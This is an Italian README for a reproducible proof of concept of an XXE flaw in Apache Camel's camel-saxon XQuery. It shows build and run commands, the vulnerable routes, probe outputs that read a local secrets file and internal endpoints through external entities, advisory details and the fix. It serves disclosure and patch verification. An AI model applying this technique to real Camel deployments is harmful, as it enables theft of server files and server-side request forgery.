
PoC riproducibile ed eseguibile per CVE-2026-90885, una vulnerabilità XXE (CWE-611) in Apache Camel camel-saxon XQuery, con build Spring Boot e Quarkus e verifica della correzione.
Source già costruito veniva analizzato con i valori predefiniti di Saxon (XXE)Proof-of-concept eseguibile che riproduce la vulnerabilità di Apache Camel in cui XQueryBuilder in
camel-saxon — che valuta espressioni sia per il linguaggio xquery sia per il componente xquery
— costruiva la propria Configuration Saxon predefinita con opzioni di parsing che contenevano solo una
regola di rimozione degli spazi bianchi, lasciando il parser XML ai suoi valori predefiniti: una dichiarazione DOCTYPE viene accettata e le entità esterne vengono risolte.
| Runtime | Directory | Stack |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-saxon 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0) |
Perché 4.22.1 per Spring Boot: la correzione è stata backportata a
camel-4.22.xsolo dopo il rilascio della 4.22.1, quindi la 4.22.1 è l'ultima release affetta di quella linea e la 4.22.2 è la prima corretta. Fissare la 4.22.1 rende quel confine il punto del reproducer.
I body di tipo String, byte[] e InputStream vengono convertiti in un javax.xml.transform.Source dai convertitori
di tipo XML di Camel, che configurano il parser contro le entità esterne — quei body non sono mai stati
affetti. Un body che era già un Source veniva passato a Saxon senza modifiche, e un Source basato su stream
deve comunque essere analizzato, quindi Saxon lo analizzava con quella Configuration predefinita.
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
# the servlet/HTTP port opens before the Camel context finishes starting, so wait for the context:
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
Output su una build interessata (identico su entrambi i runtime):
Expression under attack: concat(string(/r/data), string(/r/data/@leak))
It copies //data and //data/@leak into the result. It reads nothing itself.
1) XQuery over a StreamSource body, external entity -> file:///tmp/cve-2026-90885-secrets/db-password.txt
expression result: [db.password=LOCAL-FILE-s3cr3t-99]
local file contents in the result: true
2) XQuery over a StreamSource body, external entity -> http://127.0.0.1:8080/internal/secret
expression result: [INTERNAL-SECRET-s3cr3t-42]
internal endpoint response in the result: true
3) XQuery over a StreamSource body, external DTD -> http://127.0.0.1:8080/internal/leak.dtd
expression result: [no-entity-hereINTERNAL-DTD-WAS-FETCHED]
attribute defaulted by the fetched DTD in the result: true
4) CONTROL - the same document as a String body (Camel's type converters build the Source)
expression result: []
local file contents in the result: false
5) The same String body through a route doing convertBodyTo(Source.class) first
expression result: [db.password=LOCAL-FILE-s3cr3t-99]
local file contents in the result: true
Requests the XML parser made to internal endpoints on its own: [GET /internal/secret, GET /internal/leak.dtd]
>>> PROVEN: ...
La probe 5 è quella che conta nella pratica. Il mittente pubblica semplice testo XML — la forma del body che
non è interessata, come mostra la probe 4. La route esegue poi convertBodyTo(Source.class) prima che l'espressione
venga valutata, e questo da solo sposta il body sul percorso interessato. Nessun Source costruito dall'attaccante, nessun componente
insolito, nessuna opzione non predefinita: un singolo passaggio di conversione ordinario nella route è l'intera precondizione. L'
advisory nomina esplicitamente questo caso, insieme a un componente o processore precedente nella route che imposta il
body su un Source basato su stream.
Le probe 1–3 sono lo stesso difetto raggiunto passando direttamente il Source, che è ciò che farebbe un componente precedente
nella route.
Nulla è mal configurato. Nessuna opzione configuration, nessuna impostazione del parser, e l'espressione non legge nulla:
from("direct:xquery")
.setBody(XQueryBuilder.xquery("concat(string(/r/data), string(/r/data/@leak))").asString());
from("direct:xquery-converted")
.convertBodyTo(Source.class)
.setBody(XQueryBuilder.xquery("concat(string(/r/data), string(/r/data/@leak))").asString());
L'attaccante controlla solo il documento XML su cui viene eseguita la valutazione.
| Proprietà | Valore |
|---|---|
| Componente | camel-saxon (XQueryBuilder, utilizzato dal linguaggio xquery e dal componente xquery) |
| CWE | CWE-611 (Restrizione impropria del riferimento a entità esterne XML) |
| Gravità | Alta |
| Vettore di attacco | Un DOCTYPE con un sottoinsieme esterno, o un'entità esterna, in XML che raggiunge un'espressione XQuery come Source basata su stream già costruita |
| Impatto | Leggere file leggibili dal processo Camel; far sì che il processo invii richieste a host indicati dal documento |
| Versioni interessate | Dalla 4.0.0 precedente alla 4.18.5, dalla 4.19.0 precedente alla 4.22.2 (il percorso di codice è antecedente alla 4.0 ed era presente nelle 2.x/3.x) |
| Versioni corrette | 4.18.5, 4.22.2, 4.23.0 |
| JIRA | CAMEL-24691 |
| Riconoscimento | Leon Zlobecki |
Avviso: https://camel.apache.org/security/CVE-2026-90885.html
Non è lo stesso problema di CVE-2026-85250, che riguardava
documentType=InputSourceincamel-xpathed è stato corretto nelle 4.18.5, 4.22.1 e 4.23.0. Entrambi sono percorsi di input che aggiravano il rafforzamento predefinito del parser, ma sono componenti diversi e nessuna delle due correzioni copre l'altra — in particolare la 4.22.1 risolve CVE-2026-85250 ma non questo problema.
XQueryBuilder ora costruisce la propria Configuration predefinita con opzioni di parsing che abilitano
disallow-doctype-decl e disabilitano external-general-entities, external-parameter-entities e
load-external-dtd, allineando un corpo Source al parser rafforzato che l'XmlConverter di Camel applicava già
ai corpi String, byte[] e InputStream.
La modifica è visibile ed è documentata nella guida all'aggiornamento alla 4.23: un corpo che raggiunge XQuery come
Source già costruita e che contiene un DOCTYPE viene ora rifiutato con un errore di parsing, mentre i corpi privi di
DOCTYPE non sono interessati.
Solo la Configuration predefinita è rafforzata. Una fornita tramite l'opzione configuration dell'
endpoint o del linguaggio, oppure tramite XQueryBuilder.setConfiguration, viene utilizzata così com'è — quindi un deployment che
necessita realmente dell'elaborazione di DOCTYPE o entità esterne può mantenerla, e un deployment che fornisce una propria
Configuration per qualsiasi altro motivo deve applicare da sé le stesse opzioni di parsing.
Corretto su main in apache/camel#26344
(9c23b686), backportato su camel-4.22.x in #26728
(0d0ed8bb) e su camel-4.18.x in #26730 (ed513f3a).
Impostare camel.version su 4.22.2 (Spring Boot), oppure entrambe le versioni della piattaforma su una release di Camel Quarkus che include
Camel 4.22.2 o successivo, ed eseguirlo di nuovo. Verificato con 4.22.1 → 4.22.2: